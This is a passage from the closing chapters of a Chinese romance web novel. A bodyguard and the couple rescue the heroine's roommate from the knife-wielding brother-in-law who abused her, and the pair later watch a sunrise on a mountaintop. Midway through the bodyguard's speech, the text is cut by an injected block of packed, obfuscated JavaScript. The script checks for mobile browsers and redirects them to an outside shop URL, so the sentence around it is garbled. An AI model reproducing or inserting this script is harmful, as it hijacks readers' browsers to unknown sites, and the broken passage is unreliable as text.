小初答:“本来是想今天,但突然又觉得有点累,吃了饭想回去休息了。” 这也是她的心里话。 林佳宜说:“那就改天再去好了,晚上视物不清,拿东西下那个长坡也不方便。”她仰头把杯子中最后一点酒喝掉,不知出于什么突然说道:“你还记得我姐姐祭日我们一块在宿舍喝得那个酒吗?” 回忆汹涌,小初的额角一阵跳,气血漫了上来,连脖子都红了。 像是血管被谁劈开了花。 “当然记得。” “我喜欢那个酒。”林佳宜笑笑,有些前言不搭后语。 朱慧雯想起了什么:“是不是你们醉醺醺把我从那个丑男身下救出来那次?” 小初没好气瞪她一眼,“现在说他是丑男了,我看你当时也没反抗。平时不是挺厉害的吗,怎么不当场给他一巴掌。” 朱慧雯声音低下去:“都说了那个就是这边的舍堂文化……”又顿了几秒才抿抿唇,“好啦,我承认我有时候是虚张声势,其实骨子里懦弱得很,认识你们之后,我的观念和思维已经发生翻天覆地的变化,我欠你们一句迟来的谢谢,谢谢你们那天救了我,后来又救我好几次,谢谢你们教我成长。” 她这么郑重,小初倒笑了。 林佳宜也笑,“不用谢,方太初说得对,你值得最好的,以后你们都会很好的。” 说完她就从随身携带的纸袋子里拿了两条由黄金的转运珠编成的手链来,递给两人,“送你们的,祝你们的人生接下来都是坦途,所遇皆所爱,所得皆所求,一直一直走运下去,一直一直幸福。” 小初的眼睫瞬时一跳,并迅速和朱慧雯对视了一眼。 她果然变有钱了。 前一段小初刚买过黄金,自然知道这个东西的价格,这一条手链,没有几千块下不来。 朱慧雯也很意外,“你干嘛林佳宜,生活不要过了啊,今天是你人生最后一天了啊,这么大手笔。” 林佳宜神色一僵,继而又笑出声来,“没有啦,我刚得了奖学金嘛,钱赚来就是花的,是朋友,你们就戴上,别嫌弃它克重小就好啦。” 朱慧雯从善如流,“好啦,那多谢你,恭喜你发财佳怡姐。” 小初的目光却一寸寸凝在了对方脸上,没动,也没戴那条手链。 她笑:“怎么了方太初,我们不是朋友了吗?” 小初咬了咬唇。 心里犹豫,要不要现在就问她余珺彦那件事。 余萧弋发消息过来,说他正在开往她宿舍的路上,问她到了没,他可以跟她一块上去收拾东西。 小初没顾得上回,只是朝林佳宜没有温度地笑笑,“你觉得我们还是朋友吗佳怡姐?” 林佳宜郑重地点头,“当然,我们永远都是朋友。这辈子是,下辈子但愿也是。” 因为她这句话,小初的心还是软了下来,任她帮她把那条手链戴在了手腕上,和她那块几十万的手表配在一块,倒是别有一番赏心悦目。 林佳宜最后说:“谢谢你之前送我笔记本电脑。” 小初淡淡看她一眼,没应声。 林佳宜浑不在意地笑笑,拿起椅子上的包包,“那我们就再见吧。”说完就率先走了出去。 小初和朱慧雯也在餐厅门口分了手。 上了车,曹旸启动发动机,问她:“所以我们现在去哪里,小余总那边吗?” 小初仍陷入恍惚中,完全没听到她说什么。 直至对方问到第三遍,她才答,“回他那边吧。” 曹旸轻点头,车子缓缓汇入城市的车水马龙。 不知开了多久,小初才想起回余萧弋消息这件事,结果发现他第二条已经进来了,【Babe我在你们宿舍楼下了。还记得我们一起吃过东西的那个街心公园吗,我在那里等你。】 “曹旸姐调头,回学校宿舍。” 她突然有种隐隐的不安,也说不清是为什么。 曹旸透过后视镜看她一眼,也没多话,下个路口,车子就滑过一个优美的弧线,向学校方向疾驰而去。 小初的视力太好,所以她不确定刚刚林佳宜从椅子上拿过包包的时候,里面有没有闪过一丝金属冷冽的光辉。 她赶紧给她打电话。 却始终无法接通。 她终于有点慌了。 好在她们一整个下午活动的半径都不算大,很快,她就来到了宿舍楼下那个长阶下。 已经顾不上先去街心公园找余萧弋,因为她先看到的,是林佳宜被一个戴口罩的男人从背后锁着脖子禁锢在怀里的身影。 两人都很清瘦,又有高大繁茂的树挡着,要不是她提前藏了警惕心,都不一定会发现。 也不知是被对方控制住了,还是因为别的原因,林佳宜始终没有发出一点声音。 若是让不了解她的人看了,肯定会误以为是一对情侣正躲在树影里亲密相拥。 但本科生们已经放假了,这里冷冷清清,并没有不了解她的人路过。 小初惊惧至极,整个身体都开始发颤,呼吸的节奏也越来越快,为了不让自己发出声音,她只能紧紧抓住曹旸的手,试图从她那获取一点力量。 曹旸自然也早都看到了。 两人对视一眼,她已经掏出手机,意思是选择报警。 小初点点头。 可下一秒,树影中就传来了林佳宜的一声闷哼,听着是痛极了。 情急之下也顾不上那么多,心底的怕越来越重,以至于她喊出口的字都在剧烈地颤抖,“佳怡姐!” 曹旸被她突如其来的声音吓了一跳,与此同时街心公园里正回忆往事的余萧弋也认出了小初的声音,很快就大步从另一侧的石子路上跑了过来。 “Babe怎么了?”他听出了她声音里的不对劲。 小初没答,只是轻声叫了声,“曹旸姐。” 下一秒,手腕上那块几十万的手表就被她脱下来放到了曹旸掌心里。 曹旸怔愣了一下,很快就会意,并拍了拍她的手臂示意她别担心。 那男人终于挟持着林佳宜从树林里走了出来,与此同时余萧弋也到了她身边。 小初终于承受不住,用力将自己扑进他怀中,胸口剧烈地起伏着,连声音都染了哭腔,“Theo余。”她死死抓着他的衣摆,像是抓着能救她命的稻草,“佳怡姐她,她被人劫持了……” 余萧弋瞬间瞪大了了眼,从听到她声音开始他一颗心都系在她一个人身上,直至此刻完全把她护在了怀中他才有空分心出去,发现她的室友林佳宜,正被一个身形猥琐的男人控制着,什么东西正泛着冷光抵在她颈侧,如果没看错,应该是把水果刀。 他瞬时倒吸了一口凉气,各种念头纷纷扬扬根本来不及让他细想,但其中最清晰和深刻的,是后怕。 他简直不敢想如果他今晚没有过来,会发生什么让他承受不住的事。 “兄弟,你别冲动。。”余萧弋把小初护在身后,循循善诱地看向那男人,“你有什么要求都可以讲出来,大家好商量。” 曹旸缓缓向前一步,声音冷静,“没错,你劫持一个女学生也拿不到什么好处,这样,我这里有块手表,大概还值个几十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083211|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万块钱,你拿走好了,这边刚好是摄像头盲区,你拿了就走,谁也不知道你是谁,又做了什么。” 她掌心镶嵌着钻石的手表表盘在夜色中闪着璀璨的流光。 余萧弋偏头过去,在认出那是什么之后立刻拧住了眉。 方太初的手表? 怎么能……被那种脏东西碰到? “不认识我是谁?”那男人突然狞笑,用手肘重击了林佳宜一下,“你们怎么知道她不认识我是谁?” “妹。”那男人靠近林佳宜,动作极为猥琐,“这么久不见你还是这么有本事,不仅念了名校,还认识一群有钱朋友,前途一片光明。” 他的视线在曹旸掌心的手表上汇聚成贪婪的光芒,“你可知道姐夫这几年可是被你害惨了,在里面过得人不人鬼不鬼的不说,还每天都被人欺负,你知不知道我是靠什么熬出来的?” 男人的话音一落,在场的另外几个人的心脏就重重的落了下去。 林佳宜冷哼出声,“你废什么话,要么就杀了我,要么就放我走。” “杀了你?”男人狞笑,“那我可舍不得。林佳宜,你是不是没告诉你这帮朋友,你和我之间发生过什么?要不是因为你,我怎么可能失手杀了你姐?你这个贱人!当初明明是你勾引的我!” “你闭嘴!”林佳宜冷到了极致,像是蕴藏了无尽的恨意,“我勾引你?我当初才十一岁!我根本不知道发生什么事!你竟还敢提起我姐?你这个畜生,禽兽,杀人犯!你不怕遭报应吗?” 所有人都怔住了。 小初在脑海里预想了一万遍两人之间可能的关系,却仍是没料到,他是她姐夫。 如果她没记错,林佳宜之前说她姐姐就是被这个家伙暴力致死的? 可事情的原委竟然是这样吗? 难怪她那么痛苦!难怪她说自己不婚主义!难怪她回台湾看了一次妈妈就变得终日郁郁寡欢!所以就是这个家伙出狱后又来找她们麻烦了? 她妈妈害怕了,就把她叫回去,结果叫这个人渣知道了她在香港? 眼泪开始无声汹涌。 她几乎是立刻就否认了林佳宜出卖她的事情,一个已经不想活了的人,是不会去出卖自己的朋友的,卑鄙的都是贪生怕死的人。 是她误会她了! 所以林佳宜早知道这男的来这边找她了? 所以她手腕上这条黄金的手链就是她送给她的告别礼? 真正意义上的……告别礼? 她要和这个家伙同归于尽? 林佳宜这个傻瓜!她是她姐姐用生命保护着活下来又读了这么多年的书才成为一名医学生的,而且马上就能进入社会自食其力,再也不用省吃俭用在宿舍里煮面条吃,还要被那些Local生禁止用冰箱了! 她凭什么就这么放弃自己? 就为了这么个社会垃圾! 想到这,她再也沉不住气,用力抹了抹眼泪,对那男人说道,“我管你是谁,反正你运气不错,这么长时间都没有别的目击证人经过,现在只是我们几个事情就简单多了,我要是你我就拿了值钱的东西赶紧跑路。” 男人眯了眯眸子,“谁知道你们的东西真的假的。这个小贱人,还真能认识什么豪门不成。” “那你就说对了,我姓方他姓余,你如果最近有上网,一定知道我们是谁。” “没错兄弟。”余萧弋一边附和,一边缓缓从手腕摘下自己的手表,向前一步放到对方面前的地上,语气非常真诚,“你别拿她的,拿我的,我的比她的要贵好几倍,你拿去收二手奢侈品的地方,一定能卖个好价钱,我保证我不会报警,一块手表跟我们的朋友比起来,不算什么。” “?”小初一边哭一边缓缓打出一个问号来。 谁问他了。 对方只要持械抢劫,手表价值本身就不重要了好不好?他这不多此一举吗? 曹旸已从侧面缓缓向对方靠近过去。 可能因为她是女生,那男人并没有太过于警惕,他的注意力都在余萧弋和他刚刚递过去的那块手表上。 小初看得出,他犹豫了。 空气很静,静得几人甚至听到了两块手表指针转动发出的轻微机械声。 连风都停止了流动。 再一步,曹旸就能控制住那男人了。 小初感觉自己的脊背已经全都是冷汗了。 就在这千钧一发之际,林佳宜却直直看向小初,突然开了口:“方太初,你今天有话对我说是不是?” “什么?”小初愣了愣,马上否认,“没有的事!” 林佳宜笑,“一定有,你不懂我们这种人的敏感度,你今天看我的眼神都不对,有什么话你现在赶紧讲,我不想我死了还要带着遗憾走。” “我没有!”小初感觉自己心脏破了个大洞,血液正在四处喷射,“你也不会死!” “快说,别让我留遗憾。” 小初看见她的手已经缓缓伸向了她的斜挎包,这一次不用看,她也已经肯定了,那里一定有一把冷兵器,说不定就是一把锋利的手术刀。 “你别冲动!”小初急得气血呼呼上涌,也不知道自己在说什么了,“我就是想问问,那天你提议我们去酒吧,和余珺彦有没有关系?我不想出卖我的那个人是你,也不相信是你!是我傻,把所有人都当朋友,被算计是我活该,可你知不知道,余珺彦差一点就害死他!” 小初伸手,指向余萧弋,声音完全哽住,“我真的没办法原谅我自己!” 话音一落,余萧弋就倏地抬眸过来,眼底瞬间充了血。 “Babe,别自责,没人怪你,整件事也不是你的错。” 小初没看他,仍定定盯着林佳宜。 林佳宜也终于落下泪来,嘴角却带着笑意,“原来是这件事。”她语气郑重,“没有,那件事与我无关,我那天只是心情不好,想出去发泄一下,在那之前我根本不认识什么余珺彦。你能相信我吗,方太初?” 小初一秒没犹豫,“我信你!” 林佳宜仍是一边哭一边笑,“是不是很失望,别人只是从你的世界路过,并不是你故事里的工具人?” “没有!”小初用力抹掉眼泪,“佳怡姐,你本来就应该有属于你自己的精彩人生的!” “我没有了。”林佳宜情绪泄开,哭到不能自己,“方太初,很对不起我偏挑了那一天去酒吧,但是……” 她哽住,几乎失声。 “但是我解释不了命运。” 只一句话,就让小初和余萧弋成了风中的雕塑。 宿命感袭来,那种灵魂被重击的痛和震撼,是无法用语言形容的。 “妈的,贱人好啰嗦。” 林佳宜身后的男人听了半晌也没听懂几人到底在说什么,正要收紧手中的利刃。 就在这一秒,曹旸伺机而动,其他几人还没看清她是怎么做到的,那男人就已经被她控制在了身下,凶器被远远抛到了一边。 警笛声传来。 106.第 106 章 小初人生中第一次看见这样的情景,惊惧之下已完全不知该作何反应。 她这才发现,原来她平时的天不怕地不怕也是虚张声势,关键时刻,还是专业保镖对危险的预判和应对更能保障她的安全。 突然就理解了父母的良苦用心,她决定再也不控诉她爸试图控制她的人身自由了。 “你在这乖乖别动。” 余萧弋安抚地揉了揉了小初的头发,大步跑向林佳宜。 曹旸的动作太大,连带着她也跌倒在了地上,虽然此时处境已安全,但她并没有第一时间从地上爬起来,而是就那样一直怔怔看着那个不停在挣扎咒骂的男人,像是被什么东西困在了原地。 又或者是被困在了某个时空里。 余萧弋轻声问了句:“你没事吧?” 林佳宜这才回过神来,用力抹了抹眼角的汹涌的泪水,摇了摇头。 两人一前一后向小初走来。 小初的身体终于没那么颤了,未等她走到身边,她已三两步奔过去,一把把她拥在了怀中。 林佳宜要比她矮半个头,这样的身高差,在此刻莫名有种很微妙的反差感,明明平时都是她跟她撒娇,而这一秒,仿佛她才是那个姐姐,在用尽全力保护着还没有能力面对这一切的妹妹。 时间有种劫后余生的凝滞感,半晌,两人都没有说话。 警笛声越来越近了。 小初的心已经酸涩到不行,眼泪还在顺着脸颊往下淌,声音带着一点点的哭腔,但因为环境很嘈杂,她确定她出口的话只有三个人才能听到,“如果我没有回来找你,你准备要做什么傻事?” 林佳宜的身体僵了僵,连呼吸都顿住,然后才低不可闻地说:“我没有退路了,你不知道……” “谁说的!”小初急急打断她,“你很快就能毕业拥有很好的生活了,现在断送一切,你对得起你自己这么多年的努力和付出吗?” 林佳宜不语。 “他就是个社会垃圾,跟这样的人同归于尽,是对你自己的侮辱。” 林佳宜低声:“没有同归于尽,我会避开他所有要害,只有疼,不会死,并且下半辈子都要轮椅或者病床上度过,再也不能伤害无辜的人。” “……”小初默了默,心脏一阵紧过一阵,“即使这样,你也不能再成为医生了。佳宜姐,你的手术刀应该拿来救人的,这才是你选择学医的初衷,不是吗?” 林佳宜抬眼看向她,整个人都仿佛陷入了巨大的恍惚,只有眼泪无声无息。 警车终于停在了长阶下。 余萧弋突然向前一步,小声说道:“我会帮你请律师用更合法的方式让他下半辈子,或者至少很多年都不能再出来伤害无辜的人,所以,在见到律师之前,都请你保持缄默一句话不要说,OK吗?” 话音一落,小初和林佳宜就同时露出了震惊的神色。 余萧弋的唇角轻轻勾了勾,瞥向不远处那个男人的目光明明那么冷淡平静,却又不知为什么压迫感极强,除此之外还带着一丝完全不属于他年龄和阅历的成熟和狠厉。 小初的眼睛仍然湿的,在路灯的映照下泛着碎光,这一刻她的眼睛里已全是他,却又似乎多了很多连她自己都没意识到是什么的东西。 林佳宜叹息一声,似是终于下定了某种决心,郑重朝他点点头,说了声:“谢谢。” 注定是只能用兵荒马乱四个字来形容的一夜。 后来的小初才知道,那男的其实已经骚扰林佳宜很长一段时间了。 跟踪,尾随,在她每天回宿舍的必经之路上,在她实习医院的走廊里,像一条阴暗爬行的蛇,最擅长对付猎物的方式就是缠绕绞杀。 直至她一点点窒息,不得不放弃抵抗。 律师来之后,才开始做笔录。 警察问林佳宜,为什么一开始不选择报警。 她沉默半晌才答,“没用的,找不到我,他就会去骚扰和伤害我的家人,他们再经不起这样的伤害了。他说他已经一无所有了,这辈子就跟我耗着了,要一直折磨我,永远都不会放过我,就算报警把他抓进去,用不了多久他就会再出来,更加变本加厉地对付我。毕竟,我有正常的生活和正当的职业,我有朋友和社会关系,而这些他都没有。除非我认清现实,向他妥协。” “既然如此,他前些天都没有对你造成什么实质性的伤害,今天是发生什么事让他突然暴躁起来了呢?” 林佳宜认真思考了一下,缓缓摇了摇头:“不太清楚,可能是因为他看见我和我朋友一块去高级餐厅吃饭了吧。方小姐和余公子最近常在新闻上出现,他大概是认出了他们,就起了贪念吧。” 那男人很走运。 警方后来在调取的很多个监控录像里都发现了他尾随和骚扰林佳宜的身影。 包括小初订的那家法国餐厅所在的街角,以及她们宿舍楼下的长阶旁边。 曹旸骗他的,那边不仅有摄像头,而且把一切都拍得很清楚。尤其他一边拿着水果刀抵着林佳宜的脖颈,一边“逼着”余萧弋把手表交给他的画面。 律师说,一个持械,一个涉案金额巨大,都是加重量刑的情节,而且根据《入境条例》,在港服刑期满后,对方会立刻被驱逐出境,且终身都不会再被允许入境。 那就意味着,未来林佳宜只要能拿到这边的工作签证,就可以一辈子不用再担心被他纠缠和威胁了,因为,不管那男的是死是活,都毋庸置疑将不会再有机会近距离接触到她。 事情如果能按照这个方向发展,当然很圆满。 那晚一行人驱车离开的时候,已经接近凌晨两点,很多话已无需多说,大家此刻最需要的是睡眠。 小初叮嘱曹旸送林佳宜回宿舍,就和余萧弋往他们那个充满法式南洋风的房子进发而去。 车开到一半她突发奇想,问余萧弋要不要干脆开到山顶去看看月亮,顺便等一下明早的日出。 余萧弋怔了怔,嘴角很快翘起,揶揄道:“方小姐还真是高精力人群,折腾了这么一天还这么有兴致呢?” “因为我开心啊,哥哥。”小初偏头看向他,毫不掩饰眼底明晃晃的欣赏,“小余同学,你知道你有一个闪闪发光的灵魂吗?我现在看你,整个人都特别皎洁,跟天上的月亮似的。” 余萧弋被她的开心感染到,愉快的感觉升腾上来,脚底油门轻踩,车子已经背离家的方向,朝山顶驶去。 “你可不要看错了。”他笑,“月亮背面可是一片极度寒冷的暗黑和荒芜。今天这件事,我未必有你想象中那么多过剩的同情心,之所以这么做,是因为那个男的吓到你了,仅此而已。” 他如此坦诚,反而戳中她。 小初笑得浑不在意,“余萧弋你吓不到我。” “不是在吓你。”余萧弋看着前方雾气弥漫的路,“是我从小就被教育要控制情绪,尽量理性地看待所有事,切忌感情用事。” 他不说这个还好,一说,反而惹得小初笑出来,“可是Theo余,我认识的就是一直在感情用事的你啊,当初是谁被气得差点去北京找我,是谁一有空就到处做公益,又是谁费力不讨好地帮那些在医疗事故中受伤的人联系的医疗专家啊?” 余萧弋卧着方向盘的手,指节骤然收缩了一下,温热的心跳带动着一股暖流流向四肢百骸,整个人都好熨帖。 “所以干嘛要撇清自己,柔软就是你的底色,我难道会因此嫌弃你吗?” “不是撇清。”余萧弋解释,“是因为我藏了私心,就已经和磊落沾不上边了。刚刚林佳宜一直不迭地谢我,倒弄得我很不好意思。” “哥哥。”小初伸手越过中控,拍了拍他的大腿,“凡事论迹不论心,不用那么纠结你的初衷。” 她又用另一只手透过全景天窗指了指天上的月亮,言语轻快,“月亮上面有月海我知道,我爱你就会包容你的一切,你不用在我面前刻意维持你的完美,你什么样子我都喜欢。” 余萧弋万没想她会说这个,酸涩涌到喉咙,又被他咽下去,转而换成更轻松的语调,“Babe,你要不……再往上摸一点?” “嗯?”小初一开始还没明白他在说什么,待明白过来立刻被烫了似的把手从他大腿上移开,并没好气地瞪他一眼,“你痴线啊余萧弋,你再这样我不理你了!” 他笑,“你不是说我什么样子你都喜欢吗?这么快就要不理我了。” 小初咬唇,“反正这个样子不喜欢。” 他偏头,意味深长看她一眼,“这么言不由衷吗方小姐?” 小初终于忍不了了,干脆别过头去看向窗外,真的不再理他。 见她这样,他勾了勾唇也不再说话,车子沿着曲折的山路蜿蜒而上,城市的灯火逐渐远去,他将车窗降下来一点,感受着风漫过茂密的树拂在脸上的感觉。 风不冷,小初的头发被吹起,飘得到处都是,随着行车路线的改变变换着方向,像大自然的呼吸。 夜里的山上很安静,连和他们擦身而过的车都没有。 后来也不知道是谁先笑出来。 他问她:“在想什么,是不是突然发现我的确没有你想象中完美?” 她点头,“被你看穿。” 他垂了垂嘴角,“那怎么办?” 小初眯着眸子看了他一会儿,手已悄无声息贴在了刚才他腿的位置,声音很轻,“那就……干脆破坏到底算了,我倒要看看你伪装的面具下面都有什么。” 她明明没有继续动,只是停留在那里,余萧弋的呼吸却像被煽风点火了一样,蓦地燎原,他按住她,反而求饶,“别闹,开车呢。” 小初嘁了一声,任他的掌心包裹着自己,并没有抽离,气氛逐渐升温。 车子终于被他停在了山顶,一个比较空旷,适合看月亮也适合看日出的地方。 他们才意识到,又马上接近月圆之日了。 时间过得太快了。 两人打开车门,下去站了一会儿。最先升起来的,是一种怅然若失的感觉,离别已经越来越近了,他们却好像还没有做好心理准备,真的迎接那一天。 原以为自己很洒脱,到最后还是舍不得。 焦虑和烦闷得要命。 她和他都是。 恨不能把对方融进自己的身体里,那样就不用完完整整地被分开了。 余萧弋用风衣从后面把小初裹在怀中,下巴枕在她的颈窝上。 温热的呼吸不停喷薄在颈侧,羽毛一般撩拨着,痒意传来,她忍不住向旁边躲了躲,又被他捞回来。 “对不起Babe我错了。” 他突然道歉,小初一时也没反应过来,问他:“你做什么对不起我的事了?偏要在这会儿破坏气氛。” “我之前的确不该把我自己设计成计划的一环。直到今晚我才感受到你当初在北京得知我受伤时的心情,那种茫然,恐惧还有无助。其实那天对方的车撞过来的时候我也挺害怕的,虽然我知道他也只是在发泄情绪,未必想真的撞死我,但还是害怕,不是怕死,是怕我再也见不到你了。而且,就这样死了,是不是也不值得了?” 小初没想到他会说这个,一整个僵住,而后就是忽地转过身去,用力从正面抱住他,声音闷闷的,“你才知道!” “对不起,是我太自负了,以为自己可以掌控全局,却唯独忽略了你的感受。”他捧住她的脸,神色认真,“以后不会再让你为我担惊受怕了。” 顿了顿,他又补充,“你也是,一定要好好珍惜自己,记住你才是最珍贵的那个,不许再为别人冲锋陷阵,可以吗?还有,曹旸以后就一直跟着你吧,今天我总算见识到她的厉害了,反应太快了。” 小初笑出来,“不然呢!人家擅长的就是近身格斗好吗?”她勾住他的脖子攀上去,“怕了吧,以后再敢惹我吗?” “不敢了。” 他眼底含着笑意,难得乖训。 小初又问:“所以你的手表到底多少钱?比我贵好几倍也敢就那么放在地上,磨花了怎么办?” 他笑得更厉害了,“我说什么你都信,那块表就是之前随便买来玩的,好像是免税三千多美金?而且,已经戴了好几年了。” 小初愣住,继而瞪大了眼,“那律师说的金额巨大是?” 他俯身,忍不住亲她一口,“你的表不是值几十万吗,这还不算金额巨大吗?人家抢劫表行的才能抢多少。” 回过味来的小初也跟着他笑起来,然后又忍不住掐他,“Theo余,你还真是……” “我怎样?” “就有时候也挺没六的。” 余萧弋思考了一下,“没六是咩意思?” “就是不着调,没个正经的意思。” “不许污蔑我啊。”余萧弋坚决不承认,“我这么矜持含蓄。” 小初踮脚,含吮住他的唇瓣,倒想看看他有多矜持含蓄。 结果还没过半分钟,他就来势汹汹压了下来,舌尖缠着她不断往里面探,只把她吻到快不能呼吸才停,声音哑哑的,“怎 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“我教你。”他越发得寸进尺,“我学得还可以。” “……” 山上的雾散开很多。 一轮无限接近正圆的月亮正眼睛一样盯着他们看,看得人心事根本无法遁藏。 “所以要不我就别跟余珺彦较劲了吧,直接跟你回北京你养我算了。”余萧弋轻柔地帮她把鬓边的碎发别到耳后去,继续蛊惑着,“作为回报,我就把人生最好的几年都送给你,不然,等我从美国回来就二十六七岁了,你没听过男生过了二十五就断崖式下跌吗,现在嫌弃我心瘾这么大,回头你哭也没用了。” “……” 说他没六,他还来劲了,是吧? “也……没关系吧?”小初偷眼看他,在说完这句话之后就猝不及防从他怀里挣脱了出去,大步跑开,“反正永远有二十五岁的男生,我有什么可哭的?余萧弋啊余萧弋,跟我相处这么久,你还不了解我性格吗?我是那种遇事只知道哭的人吗?” “方太初。”余萧弋被她气笑,站在原处好整以暇地用手指了指她,“给你十秒钟跑,千万别被我捉到,不然,可是要被做做规矩的。” “你给谁……”小初刚说了三个字就跑了出去。 最后,还是无可避免被做了规矩。 那就是被他用安全带固定在完全放平的副驾驶上,陪他一块透过全景天窗看了半夜的月亮。 直至她困得都快出幻觉了,他还在轻声哄着她问,要不要他陪她回北京,把最好的几年送给她,实在不行他也可以斥资入股她的创业团队,反正梁培风能干的活,他学一学也能干,他还比他划算,因为他甚至可以连工资都不要。 这些话唯一的效果就是实在太催眠了,催眠到她几乎一觉睡到天亮,直至被他摇醒,跟她说太阳要升起来了。 小初惺忪地睁开眼。 对上的却是他神采奕奕的一双淡棕色眼眸。 那一刻,她真的很想问问,他们俩到底谁是高精力人群。 车里开了空调,温度很舒服,以至于她的盖毯滑下来了她都没察觉。 “几点了?”透过天窗,她看见天边一片朦胧的灰蓝,太阳光已经透过高层大气散射过来了。 “六点一刻了。”余萧弋看了看手机,“你可以再睡十分钟,今天的日出时间是,六点二十九分。” 小初扯过毯子覆住自己的半张脸,仍旧有些懵,问他,“你睡觉了吗?” “睡了。”他抚了抚她的头发,“我定的闹钟,也刚醒。”又问她,“你冷不冷?空调还要再调高一点吗?” 小初摇摇头。 然后也不知出于什么,她突然来了句,“余萧弋,这样醒来就看见你,好像世界都变美好了。” 余萧弋愣了愣,很快就大大勾起了唇,“因为这就是生活呀Babe,两个人在一起才是一加一大于二的幸福。不然你看看你爸妈,还有我爸妈。我印象中,我爸妈好像这么多年连床都没分过。” 他顿了顿,又补充道,“不对,好像前一段我爸支持余萧泽去做练习生那事真把我妈惹着了,把他赶出去睡了好几天。我也是不理解,家里那么多空房间,他偏不去睡,就睡在小客厅的沙发上。每天早晨起来先唉声叹气一遍自己身上都哪里疼,然后没两天我再回去,小客厅的被子枕头就不见了。” 小初笑出声来,揶揄他,“你有什么不理解?我看你明明得的就是他的真传。” 他瞥她一眼,“但是我老婆好像没那么心疼我。” 小初不敢相信自己听到了什么,忽地一下红了脸,骂他,“大早晨就开始占人便宜了是吗?” “嗯?”他笑,打开车门跳下车去,“我说你名字了吗?怎么自己就认领上了?” 小初气得瞬间就清醒了,立刻起身按下车窗,在里面张牙舞爪指了指他,“余萧弋,你最好跑快点,不然被我捉住了也是要被做做规矩的!” 他笑,“那我等着。” 小初也跳下车。 还没忘记扯过盖毯,山间的清晨太冷了。 而他果然没有跑,反而朝他大大张开了双臂。 这一次,她没有犹豫,就那么直直扑进了他怀中。 半分钟后,一轮初生的太阳终于跃上了地平线,从青涩到炽热,也就短短几分钟。 很快,光芒就温柔拥住了大地,树枝摇晃,温度升高,水汽蒸腾凝结,空气又有些雾气昭昭。昨夜那片泛着碎光的海,又变成了天空的浅白和灰蓝。 地球公转一圈的时间太短,就像大多数人的一生一样。 好在他们幸运,没有错过这份最初的美好,在最纯粹真诚的年纪就遇见了彼此,可以一起成长,见证两人都成为更好的自己,也有足够时间学会怎么爱和包容接纳。 余萧弋低下头,把脸埋进了小初的颈间,隔着盖毯抱住她,用力感受了一下她身上独特的香。 眼泪一滴滴落下来,又被她的衣服无声地吸收。 而她始终看着太阳,并没有发觉。 “Babe我很快就会去北京看你的。” “好啊,到时候带你去正宗老北京粤菜。” 余萧弋破涕为笑,“听着就好正宗。” “一定符合你口味。” 香港冬天的季风一般从北面吹来。 横在两人之间的,不会消失,却也不会再成为阻碍。 正文完结。